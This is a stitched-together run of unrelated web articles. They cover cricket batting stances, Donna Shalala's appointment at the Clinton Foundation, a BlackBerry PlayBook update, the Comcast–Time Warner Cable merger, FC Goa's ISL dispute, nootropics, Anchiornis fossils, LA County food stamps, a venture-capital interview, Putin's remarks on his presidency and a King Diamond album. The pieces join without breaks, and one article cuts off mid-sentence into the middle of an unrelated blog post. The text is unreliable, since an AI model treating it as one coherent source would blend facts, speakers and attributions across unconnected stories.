Another downside to the use of the wide stance is the lack of back-foot play in general. While the world now is all about front-foot play and weight is occasionally transferred to play shots off the back foot, there's still some merit in using the crease once in a while, especially while playing defensive shots. Also, the short forward stride is counterproductive while stepping out against spinners, for stepping out properly requires the first stride to be a fairly long one, followed by a short stride.
Traditionally the greatest strength of Indian batsmen has been their nimble foot movement, coupled with supple wrists, and anything that interferes with those strengths needs to be looked at. MS Dhoni has gone back to the narrow stance of old and it wouldn't be a bad idea if the some of the other Indian batsmen followed suit.
Aakash Chopra is the author of three books, the latest of which is The Insider: Decoding the craft of cricket. @cricketaakash
© ESPN Sports Media Ltd.The organization has been under increased scrutiny in recent weeks after published accounts of turmoil inside the organization. Shalala to head Clinton Foundation
The Clinton Foundation will get new leadership in the form of longtime Clinton ally and former Health and Human Services Secretary Donna Shalala as it continues to face ongoing questions about its foreign fundraising practices, former President Bill Clinton announced in Coral Gables, Florida on Friday.
The news of Shalala’s new role comes as the foundation has caused all-but-certain 2016 presidential candidate Hillary Clinton some political trouble in the final weeks before her expected campaign roll-out. Republicans have latched onto reports that the foundation resumed accepting money from foreign governments after Clinton left the State Department in 2013 — a policy which the organization said it would review if Clinton pursues the White House — and to her use of a personal email address as Secretary of State.
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And the foundation has also come under scrutiny with the swift departure of CEO Eric Braverman, a close ally of Chelsea Clinton.
Additionally, it was discovered that the foundation had accepted donations from companies that were simultaneously lobbying the U.S. government while Clinton was working as secretary of state.
A POLITICO report revealed that Braverman left in January after clashing with members of former President Bill Clinton’s circle. Hillary Clinton confidante Maura Pally has been serving as CEO in an interim capacity since Braverman’s departure.
Shalala, 74, announced in September that she would resign from her position as president of the University of Miami at the end of the school year after 14 years leading the university. She reportedly will move to New York to lead the nonprofit, which is officially named the Bill, Hillary & Chelsea Clinton Foundation.
Shalala served as HHS secretary for all eight years of Bill Clinton’s presidency, and she joins the Clintons in Miami over the weekend as her school hosts a foundation event. By leaving the foundation in her hands as Hillary Clinton prepares to run for president, the family hands off their $2 billion global philanthropic enterprise to a long-standing friend with fundraising experience of her own.
The former cabinet secretary has raised nearly $3 billion during her tenure in Miami, garnering a reputation as a skilled financial operator. The foundation will likely need such leadership over at least the next two years, as Clinton will not be able to directly raise money for it while tapping donors to fund her own presidential ambitions.
She joined her husband and daughter at the helm of the organization after leaving the State Department in 2013, and headlined on Wednesday what is likely to be the foundation’s last major fundraising event before her campaign.
In choosing Shalala, the Clintons tapped an official with significant management experience — she also served in top roles at Hunter College and the University of Wisconsin-Madison — and a reputation for not being a rubber-stamp after opposing Bill Clinton’s welfare law when he was president.
But she has also been helpful for Hillary Clinton, hosting her at a friendly appearance in Coral Gables in February 2014 as Clinton was gaining momentum as a presidential hopeful.?
Hillary Clinton and Shalala, who was awarded the Presidential Medal of Freedom in 2008 by President George W. Bush, served on the board of the Children’s Defense Fund for years together.
Correction: This story has been updated to correct the spelling of Pally’s name.What are you waiting for? Apogee/Interceptor's 2013 remake of Rise of the Triad is currently free on GOG. Go and get it before the 30,000 copies being given away are gone.
If you want to stick around to learn what it is: it's a recreation of a 1995 FPS in which five distinct characters can be chosen to take down a cult known as the 'Triad'. To be honest, I'm not a massive fan, but our reviewer liked it well enough. The multiplayer's pretty good, if mindless old-school shooting is your jam.
Nonetheless, it's free, and you can get it right now—assuming that reading all of this hasn't scuppered your chances. If it has, the game is 80% off this week—alongside Unreal Tournament 2004 at 70% off, and AvP Classic 2000 at 50% off.So here it is r/electronicmusic's best of 2012 selections. There were so many great picks both voted up and unseen, Old favourites and new ones, club and chill...and all of it amazing. Sadly I don't think I was up for the task of mixing 100+ songs so are a few of the mixable top picks and some that I couldn't resist putting in after see them in the thread.
I had so much fun mixing this and if you guys enjoy half as much as I do, you're going to have a fantastic time.
Special mentions,
A lot of tech/house/minimal in this mix and damn that was fun, gives a nice break for you guys and lets me nice around using all 4 decks.
Mosh blew up on Reddit and he definitely deserves a spot on this list, technically first pick.
I think I just realized Disclosure is my favourite artist based on the number of songs are in this mix.
Continued at Reddit Post with D/L: http://goo.gl/MWH75Maybe it’s too early to say for sure, but the upcoming free software upgrade for RIM’s BlackBerry PlayBook tablet looks like it might be able to turn around the device’s dismal performance. The tablet itself is solid; when we reviewed it last year, we said it was “one of the most powerful and appealing tablets on the market”. Its major fall-downs were its lack of native email and contact functionality for non-BlackBerry owners, and a small selection of third-party apps, but it seems RIM is taking out both in one solid sweep, judging by the PlayBook OS 2.0 demonstration at the BlackBerry booth of CES in Las Vegas.
They have stunning new functionality on display: using a BlackBerry smartphone as a remote control to provide an accurate cursor and tactile keyboard, for example, is one of the more unexpected additions, as is the ability to use the PlayBook as a Wi-Fi printer to quickly receive documents from a laptop or PC. An additional touch to the new unified inbox, which places personal and work emails in the same place as Twitter mentions and LinkedIn notifications, is provided by the new “tabbed email” interface, which allows users to reference one email while composing another.
Yes, Research In Motion are definitely onto something; after making a $485 million loss on the tablet, they’ve apparently decided the only acceptable course of action is to press on, rather than to fall back and cut their losses. In the United States, they’ll be launching the “BlackBerry Video Storefront” alongside the new upgrade, offering film and TV show rentals simultaneously with new DVD and Blu-ray releases, which can be streamed as well as downloaded, and then viewed on any TV via the device’s micro-HDMI port. The service is expected to come to Europe later this year.
What else is new? Well, the new Contacts application consolidates information from your emails, Facebook, and mutual contacts into one file to help maintain your relations, and the new Calendar application breaks new ground by allowing users to organise appointments by the individuals with whom they have been organised, then permitting easy access of relevant information like company background, drawn from social networks such as LinkedIn.
Let’s assume you’re not the business type; you’re reading all this and musing that you’d rather get an iPad. It’s not just RIM alone that’s pushing the PlayBook: Angry Birds and Cut the Rope are among some of the new third-party games coming to the platform, as well as official apps for Groupon, Thomson Reuters, Zinio, and many more. In one swift software upgrade, RIM are aiming to dismiss every existing criticism of their under-appreciated hand-held; and it might just see them recuperate.
If nothing else, this is a strong start to 2012 from a company barely hanging on to the smartphone and tablet market. Continued losses and lawsuits were thought to be taking their toll, but if RIM have enough power to drive out new software for the PlayBook and the BlackBerry smartphone, they might find they have the determination to pull through a successful year.Comcast announced today that it's purchasing Time Warner Cable for $158.82 per share.
If this sounds like the No. 1 cable company in the country purchasing the No. 2 cable company in the country, it is. If it sounds like the creation of a monopoly, it is. If it sounds like something that should be stopped, it is.
It likely won't be.
Comcast will sufficiently cook its books to get around this. Michael Maiello reported today Comcast will find a way to lose enough customers to nominally claim that Comcast/Time Warner Cable will represent less than 30 percent of market share, and this will likely be enough to appease the Feds.
It shouldn't. It's another loss for free speech and another gutpunch for the little guy in an increasingly top-heavy United States, where the powerful have won the right to purchase more speech through lobbying, then drown out dissent by buying out media companies.
Let's note this right away: This is not really about your exorbitant cable bill. Your exorbitant cable bill is a bad business practice, yes, but cable is a side issue.
This is about one company owning a plurality of the fiber that runs underneath our homes and using it to dictate the flow of commerce and speech through those pipes.
Our economy now runs on the premise of a reliable, high-speed Internet. It thrives on the idea that every website is accessible once created, that traffic to your website won't be throttled due to petty grudges or competing business interests from the people who own the wiring underneath your house.
Comcast has already taken a federal appeals court ruling last month as a free pass to immediately start slowing access to a competitor, Netflix.
A D.C. court ruled that Internet service providers can apply a governor to whichever websites they'd like. Internet is no longer to be viewed as a public utility by the FCC — a status that allowed a technological revolution in the last two decades never before seen. ISPs can block or slow traffic to websites of any dissenters or competitors. It is now to be governed entirely by private interests.
Now, in more than a third of the U.S., the Internet will be governed by a single private interest — Comcast/Time Warner Cable.
Netflix had become a recent thorn in the side of its cable business. Some people were sick of that exorbitant cable bill, so they were speaking with their dollars by canceling cable.
Comcast had more of those dollars, so they bought Time Warner Cable in an effort to make it harder for you to speak.
This is what happens when you allow for money to constitute speech in America.
We must make it clear that this is not about getting cheaper, unfettered access to SportsCenter or Real Housewives or Honey Boo-Boo. This is not about your ability to watch Scrubs on Netflix without it buffering, either.
This is a speech issue, again. And the speech of the little guy is about to be trounced upon, again.
There's a precedent to stop something so blatantly anti-competitive and bad for the average American consumer or small business owner.
Remember, the DOJ stepped in to avert a T-Mobile/AT&T merger in 2011, calling the 43 percent market share the combined company would create too weighty. T-Mobile walked away with $4 billion for the hassle.
This one's even more important.
Make an uproar about this. It's worth it. Claim you'll drop your cable. Maybe even do it. Switch to Charter if they're in your area. Develop a new technology to get around this. Root for workarounds. Let it be known that pitchforks are at the ready if the Department of Justice were to rule against the consumer.
Stopping this sale would finally constitute a major 21st century decision that looks out for the speech of the common man in America — the very first principal upon which this country was founded, but has been consistently forgotten when staring down a fight or a wad of cash.PANAJI: FC Goa’s long-running and bitter battle with the Indian Super League (ISL) is set to end later this week with the departure of co-owners Dattaraj Salgaocar and Shrinivas Dempo
Salgaocar and Dempo have collectively held 65 percent stake in the Goan franchise since inception in 2014 and were actively involved in the running of the franchise, helping FC Goa become one of the most loved brand. But when the third ISL edition kicks off in October, both will not be around and instead the franchise will be taken over by a new owner. Videocon and cricketer Virat Kohli will continue as co-owners.
The FC Goa duo’s exit from the franchise is likely to come out in the open on Sunday. Sources said, during the ISL Appeal Panel hearing in Mumbai, the duo will express regret – through their lawyers – over the fracas that ensued after the final. The change in stance from FC Goa means the one-man ISL appeals panel comprising Justice Kshitij Vyas, former chief justice of the Bombay high court, could take a lenient view and allow FC Goa to start afresh, possibly without any points deduction.
Salgaocar and Dempo were both banned for three and two years respectively for bringing the ISL into disrepute for boycotting the ISL prize distribution ceremony. With the exit now evident, it’s more than likely that the suspensions will be lifted as well.
“The co-owners did not really have much of a choice. Given the circumstances, this was the best they could have done,” said a source who is closely tracking the development.
The ISL Appeal Panel met in Mumbai on Saturday and heard all three parties: ISL, Chennaiyin FC and FC Goa. All three made their submissions, but according to sources, arguments into a couple of issues are still to be concluded. “Some issues need clarification. The hearing will continue on Sunday,” said the source.
FC Goa were rocked when the ISL Regulatory Commission suspended FC Goa co-owners Salgaocar and Dempo while the franchise was docked a massive 15 points and fined Rs 11 crore, all decisions which the Goan franchise has appealed against.
FC Goa lodged an appeal with the Appeals Commission describing the regulatory commission order as perverse, unlawful and in complete violation of principles of natural justice. "The sanctions imposed on FC Goa are (not just) unprecedented in the world of football, but also shockingly disproportionate, punitive in nature, absolutely arbitrary and without any basis in law or fact," FC Goa said in a statement.
A final order is expected on Wednesday.Did you know that scientists are learning how to manufacture and implant memories? Artificial intelligence is writing music? We are a moment away from arriving at the intersection of human and machine brain. Soon, we’ll be able to boost our intelligence, peak our creativity, and do anything short of set the curtains on fire with our eyes.
In the final frontier of the mind au naturel, we are seeing the first signs of brain hacking. Ingestible cocktails of natural and lab-derived supplements, called nootropics, designed to tap our brains for all their worth. Nootropics, or “smart drugs,” are a new category of cognitive-enhancing supplements garnering a cult-like following with the “work smarter, not harder” class.
Nootropics are designed to augment your performance through mechanisms like increased blood flow and more neurochemicals dialing in to help you think. These “rewiring” effects are touted as the long-term benefits of using, while supplements like yerba mate and L-theanine are nootropics' alternative to ADHD drugs and coffee and are intended to take effect immediately. As a recent New York magazine article put it, “Think Adderall without the lack of creativity, coffee without the jitteriness, LSD without the spiders, nicotine without the cancer, and cocaine without the sniffles.”
It’s highly likely the increases in competition, pressure and pace of our lives correlates to our rising reliance on modulators, boosters and enhancers. Our “work hard, play hard” mindset has moved the needle into a zone we can no longer naturally sustain, and the harsh, one-size-fits-all pharmaceuticals on the market do not appeal to our preference for bespoke solutions. What’s ahead? A spike in products created to turbocharge the healthy human body rather than aim to correct, heal, or catch up to the standard.
Nootropics can be bought individually or in compounds, just as you might buy isolated Vitamin D versus a Multi-vitamin. The varying classifications of these drugs can make them difficult to find all in one place, so online channels tend to be the preferred channel for buying. However, health food stores can be a good place to start.
Creating custom combinations of two or more individual components are called “stacks” which you can tweak to be completely unique to your needs. A browse through the r/nootropics feed is typically canvassed with users crowd-sourcing for tips and recommendations on optimizing their stacks. ESports gamers and Wall Streeters want sustained energy and focus; creatives want heightened senses and creativity—you can even expect nootropics to make a play to the 1B strong ranks of 65+ year-olds who will be seeking anti-aging solutions by 2030.
David Richmond, a marketing strategist and freelancer, has dabbled in “stacking” with natural supplements Lion’s Mane mushroom and Brahmi. When projects demand creativity on a switch, he feels they help him get in gear. In his opinion, unlike coffee or other over-the-counter substances, he says, “They keep me clear-headed and alert without anxiety. It’s something I can take at 6pm and not worry about being jittery at bedtime.”
Powerful wallets are being enticed by the potential these brain snacks have. In 2015, Andreessen Horowitz, a venture capitalist who is known for early bets on AirBnb and Facebook, made a $2 million investment into smart drug subscription startup Nootrobox. As such, considerable efforts are being devoted to developing a favorable government policy to ensure a healthy future for the industry on track to disrupt the $1.3 trillion global pharmaceutical market.
Before you open your Amazon tab, know that the jury is still out on the efficacy of these claims. These drugs are not FDA-approved and just this year the American Medical Association published their discouragement for brain-boosting with nootropics. For example, racetams, a class of “nootrients” showing promise for improved brain function, also carry potential risks of brain “fog” and subdued mood-- although most side effects are collected from testimonials rather than the medical community. For now, labels still can’t promote human consumption and the market remains a Wild West for entry.
As an office of Futurists, we were unable to resist experimenting with a Nootrobox subscription of our own at BrainReserve. The more straightforward capsules like “Rise” for a morning kickstart and “Sprint” for a brain jolt were the group favorite, while the chewy coffee cubes, called “Go Cubes” sat on my desk getting stale until a lost bet (unfortunately) took care of them. The effects we experienced were seemingly unnoticeable, but without more consistent use, it’s hard to say if they weren’t just swallowed by our office’s unusually high energy level. The pill bottles have mostly become office-enhancers in the form of paper weights.
Our prediction: Supplements are just the first step in a long journey of brain hacking. Just as we improve bodies with pacemakers and hearing implants, brain augmentation will one day take the |
to know who the 40,000 "outraged citizens" are, and how they got mobilized. Greenwald, a documentary filmmaker and stalwart committed Democrat, seems to have started the ball rolling.
Apparently Greenwald got hold of the scripts somehow; they include a scene of Mattress Jack boinking somebody -- not Jackie, apparently; someone named Judy -- in a swimming pool:
.... when a Secret Service agent comes to deliver time-sensitive information from McGeorge Bundy, his security advisor, the president doesn't stop what he's doing as the agent delivers the news.
I don't know anything at all about Judy, but I remember McGeorge Bundy. I have to think that Jacko made the right choice.
Apparently there's also a scene in which Jack mulls the possibility of walling off East Berlin, before those nasty old Soviets had the idea. This is certainly not something I ever heard before, and could easily be made up out of whole cloth. But then on the other hand, if it turned out that Jack & Co. gave the idea some thought, I wouldn't be a bit surprised. Anybody know where this might have come from?
Just goes to show: liberals are the real conservatives(*). All these plaster deities to venerate!
Even so, it's hard to imagine a less suitable object of veneration than the Kennedys, and Green Beret Jack in particular -- an unscrupulous mendacious chauvinist demagogue who ran in 1960 on the basis of a mythical "missile gap"; a dedicated warmonger who immediately cranked up military spending after a long period of diminution under his predecessor; a grandiose parvenu who puffed up the imperial iconography of the US presidency to unheard-of levels; the father of the Vietnam war, and the architect of the still-enduring Cuban embargo.
You would think a "progressive" like Greenwald might have something better to do than burnish and defend this grotesque and bloodstained legacy.
But you would be wrong.
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(*) And so-called conservatives are anything but. That's another post, however.Surveys of college-educated professionals by the Center for Talent Innovation, a research group on work and talent development, found that among millennial men without children, 24 percent expected to shoulder most of the child care responsibilities. Of those with children, only 8 percent did.
“They say, ‘I didn’t realize how much of a ding it would be on my career,’” said Laura Sherbin, the center’s director of research. “It’s what women have been saying for years and years.”
The research shows that when something has to give in the work-life juggle, men and women respond differently. Women are more likely to use benefits like paid leave or flexible schedules, and in the absence of those policies, they cut back on work. Men work more.
“With millennial men and women too, life hasn’t hit the fan, so we’re still seeing more idealized expectations,” said Pamela Stone, a sociologist at Hunter College. “These are couples that are negotiating a work and family world grounded on an old model that really called for men to step up to the breadwinning role big time, and women to step back from employment and into more traditional roles.”
“It’s not that they’ve thrown over their ideals, it’s just enacting those are much harder given the workplace and cultural structures they’re encountering,” she said.
Kunal Modi, 30, and Anita Gupta, 28, say they know how hard it might be to live up to their ideals. Married for a year, he is a consultant and she works at a health care start-up. They don’t have children yet, but say they want their partnership to remain equal when they do.
“It’s something we constantly talk about,” Ms. Gupta said. “I think it needs to be a joint discussion: where we are in our careers right now, what makes sense caring for children and families and how to split up those responsibilities.”The wing of the bird-like feathered dinosaur Anchiornis under laser-stimulated fluorescence, showing feathers like those of modern birds. Wang XL, Pittman M et al. 2017.
The vast majority of dinosaur fossils preserve only the bones of the animal, but in very rare cases scientists get a much more detailed glimpse at what these extinct creatures might have looked like. China’s Liaoning province is one place that regularly yields up incredible fossils with traces of feathers, internal organs and even gut contents preserved.
Now researchers have used a new method to reveal details of the body, skin, feathers and scales of a dinosaur called Anchiornis, which are not visible to the naked eye. Known as laser-stimulated fluorescence (LSF), the technique uses a violet laser to stimulate molecules in remnants of organic tissues in the rock to fluoresce or glow in the dark. This effect can be captured on a special camera under dark conditions, revealing otherwise hidden details of fossils.
“We were able to directly observe parts of the body outline of a bird-like dinosaur,” says Hong Kong University palaeontologist Michael Pittman, one of the lead authors of a study reporting the find in the journal Nature Communications. “We also observed soft tissue details of the wings and feet that are usually extremely difficult to infer from studying fossil skeletons.”
Anchiornis is important for understanding both the origin of birds and of flight, Pittman says, as the crow-sized flying dinosaur is thought to be closely related to the ancestor of birds. The scans revealed foot pads and scales on the dinosaur very similar to those seen on chickens today, as well as small flaps of skin under the feathers on the leading edge of the wings. These are known as “propatagia” and are important for flight in birds. “Drumstick-shaped legs” and a thin feathery tail were also exposed.
An Anchiornis fossil. Shandong TianYu Museum of Natural History
The researchers chose Anchiornis for the study because it is one of the most common feathered dinosaurs found, with about 230 specimens held in Chinese museum collections. This meant the scientists had many fossils from which to select the best soft-tissue preservation.
“The method does work,” comments Mike Benton, a vertebrate palaeontologist at the University of Bristol who has been at the forefront of new techniques for studying dinosaur fossils. “I can see in this example that [LSF] can discriminate between rock and flesh. Often in the Chinese fossils there may be smooth areas around the bones which, in natural light, could be taken as either impressions of flesh or simply artefacts of preservation around the bones, such as the movement of water. The LSF, if appropriately treated, can be trained to discriminate between these two effects.”
LSF is a relatively new technique but has also been used to reveal camouflage patterning on the dinosaur Psittacosaurus, as well as the body shape of an early bird, Confuciusornis. A spectacular scan of a pterosaur – a flying reptilian contemporary of the dinosaurs – has revealed details of the eyeball completely invisible to the naked eye.
Fossils from Liaoning, such as those of Anchiornis, were created under unique conditions that provide an unparalleled snapshot of prehistoric life. “The remarkably preserved fossils were deposited in freshwater lakes with a regular input of sediments from nearby volcanoes,” explains the University of Manchester’s Phillip Manning, author of Grave Secrets of the Dinosaurs: Soft Tissues and Hard Science. “The rapid blanketing of the volcanic sediments was a major factor contributing to the exceptional level of preservation and might have contributed to the death of many of the animals.”
This article appeared in Cosmos 75 - Winter 2017 under the headline "Dino drumsticks revealed"A local Nova Scotian story of Christmas spirit. Not my words. Read them anyway.
“While I was at the Superstore. The woman in front of me, with her 2 children, had a cart full of things, all yellow labels, no name brand, counting what she had in the cart. As the teller was ringing through her items, she kept taking things out and putting them on the side, and asking the teller not to ring some things through.The gentleman, ahead of her, was still packing his groceries on the other side when he noticed the same thing we all did … a single mother, on a budget, just trying to feed her kids.As she stood there counting her money, and watching the till the gentleman leaned over to the teller and said “Its OK, ring it all through, I’ll get it, and get those things on the side too” The woman, in disbelief, said “No its Ok, thank you but I cant let you pay for my things” He insisted though. He said his Christmas Bonus was bigger than he thought, he just wanted to share the wealth. As if that wasn’t enough, he also asked for a $200 gift card for her.As I stood there in complete awe, he gave me a little wink, as the woman came around and hugged him. All he said after that was “Merry Christmas, take care of those girls.”I hear about these things happening from time to time, but to actually witness it, warmed my heart. Its good to know there are genuine, kind hearted people out there. I hope this unknown man, has a wonderful Christmas, and that his family realize how blessed they are to have him. What a wonderful gift to a perfect stranger.”The Los Angeles County Board of Supervisors has started a marketing team to increase the number of food stamp recipients by 50 percent to make sure the Trump administration’s spending cuts do not slow the flood of federal dollars.
President Trump’s “America First: budget request for the 2017-2018 fiscal year that begins on October 1 features a $19.1 billion annual cut to the Supplemental Nutrition Assistance Program (SNAP) food stamp program. As the biggest beneficiary out of America’s 3,142 counties, Los Angeles County, with 1,183,107 food stamp (CalFresh) recipients, stands to lose $1.8 billion a year in federal funding if Congress passes Trump’s proposed budget.
To keep the federal spigot as wide open as possible, County Supervisors Hilda Solis, Janice Hahn and Sheila Kuehl on May 23 voted to make senior staff at the L.A. County Department of Public Social Services directly accountable to the Board of Supervisors to increase food stamp enrollment and retention.
California’s 71 percent participation rate ranks 48th out of 50 states for enrolling eligible residents into the food stamp program. That compares to a national enrollment average of 83 percent. Los Angeles Supervisors are trying to raise the percentage of eligible county residents participating in CalFresh by 50 percent, from 66.3 percent to 100 percent.
The main reason for even lower CalFresh participation in Los Angeles County is the concern among Hispanics, who already account for a staggering 59 percent of L.A. County food stamp participants, that applying for the program may cause them to be deemed a “public charge” by the U.S. Immigration Service. Individuals deemed a public charge are disqualified from becoming citizens and usually deported over time.
Under President Barack Obama, between 2010 and 2015, food stamp participation increased by 59 percent, to 43 million, and immigration deportations fell by 40 percent, to 255,000. Obama grew the food stamps program by limiting deportations and redefining food stamps as a non-cash benefit that is not a factor in determining “public charge” status.
California and Los Angeles County in particular are notorious for failing to verify immigration status for individuals on CalFresh food stamps. According to the “California Immigrant Welfare Collaborative,” persons fraudulently applying for CalFresh food stamps are not reported to the federal immigration authorities — unless there is proof, such as a final order of deportation, that they are in the country unlawfully.
On February 28, President Donald Trump issued his “Immigration Enforcement for the American People” initiative that aims to eliminate Obama’s lax welfare scheme and renew the broad use of public benefits as a determining factor for a “public charge.”
Breitbart News recently noted that California unemployment has fallen to its lowest rate in 16 years, but most of the gains are in low paid service jobs, while the state continues to export its middle class. Of the 930,000 residents that migrated from California to other states between 2004 and 2015, 85 percent were in the state’s middle 20 percent income bracket and the next lower quintile, according to the Census Bureau.
Middle class families that left Los Angeles County were generally replaced by foreign immigrants, as California’s population grew from 9 percent foreign-born in 1970, to over 30 percent in 2015, according to the Public Policy Institute of California.
Most foreign-born Los Angeles County residents currently have some form of legal status, due to the Obama administration’s immigration policies. But immigrants earn less and pay less taxes, since about 92 percent of California-born residents ages 25 and older have a high school diploma, while only 66 percent of the foreign-born have a diploma.
By exporting middle-class families and importing foreign-born immigrants, the Los Angeles-Long Beach-Anaheim area is now rated by the Census Bureau as having the highest poverty rate in the nation, at 20.5 percent.WEB EXCLUSIVES
Published :
By: Rizki Washarti
Endeavor Global held an international conference in Jakarta in February to select the newest members of its entrepreneur network. One member of Endeavor’s International Selection Panel at the event was Dave McClure. A venture capitalist who has been a founding partner with hundreds of companies, McClure runs a seed capital and incubator program in Mountain View, California – the heart of Silicon Valley. He has invested in over 250 startups including Simply Hired and SlideShare.
With over twenty years of experience working in Silicon Valley, McClure has been a software developer, entrepreneur, startup advisor and investor, blogger and Internet marketer. He was a Director of Marketing at PayPal from 2001 through 2004. Prior to that he was a database consultant and programmer for several companies including Microsoft and Intel. During the Endeavor event, he spoke to Strategic Review about the future of startups and entrepreneurship in Indonesia.
What do you think of the startup atmosphere in Indonesia? I think it’s still pretty early. We’re still learning about what’s going on here locally. I think the market is still developing and the local entrepreneur community is still learning about themselves and trying to get more people involved in the ecosystem.
What are you specifically looking for in a startup in Indonesia? Well, with any startup we are looking for people who have a product or service that looks promising, have some initial customers and usage and are then looking for talented entrepreneurs who can grow the business. Particularly from our perspective, we are looking for engineering, design and marketing talents for online products, probably consumer commerce, mobile apps and probably also access tools for business, cloud-based products for business.
You have invested in a lot of startups. So, what are the challenges you think Indonesian startups have? Well, in Silicon Valley we benefit from having a very long history of entrepreneurship and a lot of access to resources, both capital and talent as well as platform companies and mentors that are pretty much all around us. In other parts of the world, not unique to Indonesia but any place which is not Silicon Valley, we have probably less access to capital, there are not too many investors, there is not much familiarity with doing startups.
So there may be capital availability, there may be a lot of family businesses which made a lot of money in real estate or natural resources but they maybe are not familiar with investing in tech. So that makes them either over cautious in investing in tech or too overconfident in investing in tech, neither of which is necessarily a good thing for the long term. On the entrepreneur side there is maybe not as much experience in doing Internet businesses, so there are limited mentorship opportunities. But I do think there are tremendous growth opportunities here in Indonesia. The consumer market is obviously very large, growing Internet penetration for Internet services, mobile phones, a growing middle class community with a very young population which is very social. So a lot of the dynamics for market opportunities here in Indonesia are great, but a lot of the fundamentals for mentoring startups and providing capital to startups are still maybe early and somewhat challenging.
You mentioned there is not much experience in investing in tech. What’s actually the difference between investing in tech and investing in other businesses? Well, I think just different expectations in terms of growth and success. So, in traditional businesses you might have a success rate of 50-70 percent and a failure rate around 10, 20, 30 percent and modest returns. In Internet businesses you see failure rate of 50-80% and you maybe see modest wins 10, 20 percent of the time. But then occasionally you see these really amazing 20x, 50x returns, but they only happen 5-10 percent of your time. So it’s a very skewed sort of return, a very high rate of failure which is kind of different from a lot of businesses. It tends to lend itself towards a more diversified strategy, maybe a larger number of investments and smaller dollars per investment and then kind of feeding the ones which are doing well and winning. There are also just a lot of opportunities to take advantage of the growth with the Internet but maybe this is not as common to people who haven’t seen that happen before. And so some are doing aggressive organic marketing around social platforms, some are doing paid acquisitions in places where there are good unit economics, those are maybe not too familiar to people who are more used to traditional business models or traditional print media and television advertising.
Why is the failure rate so high in tech? I think because technology is kind of fitting solutions into existing business models. They are just really young company risks not just technology company risks, but there are a lot of people who are maybe big dreamers, coming up with ideas that are untested. So in a lot of ways, the future is hard to see for technology. When you are building a house, you kind of know how a house looks like. If you are delivering consulting services, maybe you know how those consulting businesses look like. But when you’re building technology products it’s not always clear what you’re building and who is going to buy them. It might not be obvious what your margins are or whether you can improve the margins over time. So there are a lot of very dynamic variables in technology businesses that are possibly positive, possibly negative, but not always easy to predict.
I see from this Endeavor event that there are a lot of startups but from different industries. So from what kind of industries do Indonesian startups need to be in? We looked at a lot of industries that are tech related and a lot that are very straight forward that aren’t tech related because Indonesia is a big country. There is a lot of growth happening in startups and not all are going to be in technology. There is a lot of growth in straight forward businesses, probably transportation, public utilities, real estate and other industries that are not tech related.
But I think because the population is very social and very young, a lot of the purchases even from the traditional type of businesses might happen through technology platforms. So you might have a lot of traditional businesses that have a very thin or lightweight technology component mainly around customers communicating with businesses or how they purchase or understand or learn about products. So in that sense, almost every business could be a tech business at least on the customer interaction side and maybe getting to those customers could be improved by using technology platforms and social platforms.
What are your tips for entrepreneurs in Indonesia? Sometimes I see a lot of entrepreneurs in other countries focusing a little too much on the US market, and more global markets that are very big business and dollars and that’s great, there’s a lot of opportunities there. But in places like in Indonesia where it’s already a big market and already a lot of growth going on, I would be trying to understand local market needs that can scale up. And a lot of the businesses that maybe have been built in the US or Europe haven’t always been built over here.
There might be a lot of very successful business models from the US that people can take and customize or adapt to local markets. So businesses in food delivery, transportation, real estate, companies like Uber, Airbnb, Craigslist or eBay, a lot of those opportunities might be here in Indonesia where those companies might have a tougher time exploring this market because it’s new and unfamiliar and local entrepreneurs might be able to succeed based on their areas of familiarity.
I would definitely be looking at things that are sustainable and revenue generating. One of the other things I would suggest for the international market is to look at revenue generating businesses maybe over growth markets because capital availability may or may not be as common as in Silicon Valley, where it’s not obvious where you would get funding, you may want to be looking at customer-driven revenue sources as well as capital sources.
What is the advice you can give to people who want to invest in Indonesian startups? Generally I advise people who want to invest in startups that they would probably be better off burning their money instead, ha ha ha. I think historical returns for investment capital or angel investor are challenging for a lot of people. If they still want to invest in startups, I would say don’t concentrate your investment in small number of companies, I would probably look at 10 to 20 investments to diversify across, again because the failure rates are very high. So a strategy that I may think about is figure out if you’ve got a budget that you want to invest in startups, cut that in half, and then cut that by 10-20 percent, and that might be your average investment for each company. And then once you’ve seen the 10-20 investments and whether there’s success or not, maybe divide the remaining half of the money with the ones that are working. So let’s say you have $200,000 to invest in startups, maybe take $100.000 for the first 10-20 companies, and put $5-10,000 in each and then in a couple of years, maybe three of those ten companies are still alive or doing well; then take the other $100.000 and put $25-30,000 into each of those that are doing well.Russian President Vladimir Putin said Friday that he might decide to stay in office for life.
"I have not yet decided yet whether I will leave the post of the president or not," Putin said on Friday during a question-and-answer session with students in Sochi.
"Only after I answer this question for myself will I think about my next step," he added.
It's unclear what Putin's comments would mean for Russia. Presidents in Russia are prohibited from serving a third consecutive term. In 2011, though, presidential terms were lengthened from four years to six years.
Putin served for two terms from 2000 to 2008, then reassumed the presidency in 2012 amid allegations of rigged elections. He'll be up for election again in 2018.
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Speaking further, Putin said that there are "many" options for him post-presidency, but that he hasn't yet decided if he will even pursue them.
"There are a lot of interesting things to do in the world," Putin said. "There are public organizations and there are other areas that are very interesting to me, for example, ecology.... First, the main question should be answered."
In December, a former U.S. ambassador to Russia claimed that Russia's interference in the 2016 elections was because Putin wanted to hurt Hillary Clinton Hillary Diane Rodham ClintonSanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' Former Sanders campaign spokesman: Clinton staff are 'biggest a--holes in American politics' MORE for criticizing his crackdown on dissidents and political opponents.
"Let's remember that Vladimir Putin thinks [Clinton] interfered in his election — the parliamentary election in December 2011 — and has said as much publicly, and I've heard him talk about it privately," former Ambassador Michael McFaul said in December.KING DIAMOND Has 'Working On Next Album, Says ANDY LA ROCQUE
KING DIAMOND guitarist Andy La Rocque spoke to Canada's The Metal Voice about the progress of the songwriting sessions for the band's long-awaited follow-up to 2007's "Give Me Your Soul … Please" album. "Well, we have some ideas, and we're gonna start seriously sitting down and start with new riffs and starting to write songs as soon as possible, I would say starting around New Year's with writing songs and stuff," he said. "That's the only thing I can say. And there will be a new album, of course. It's just that since 2012, we've been really busy doing the live shows, which has been really important for us, since before 2012, we didn't really do any festivals at all — I mean, maybe one or two in our whole career — so that was a new thing for us, doing festivals. And we've been really busy doing that. Planing that and practicing, rehearsing for all those shows we did in the last five, six years has taken a lot of time, of course, so we really haven't had time to sit down and just make a good album," he continued. "Plus, all the other things we've been doing, like remasters and now the DVD and all that stuff. So as soon as things get less hectic, we're gonna start writing a new album."
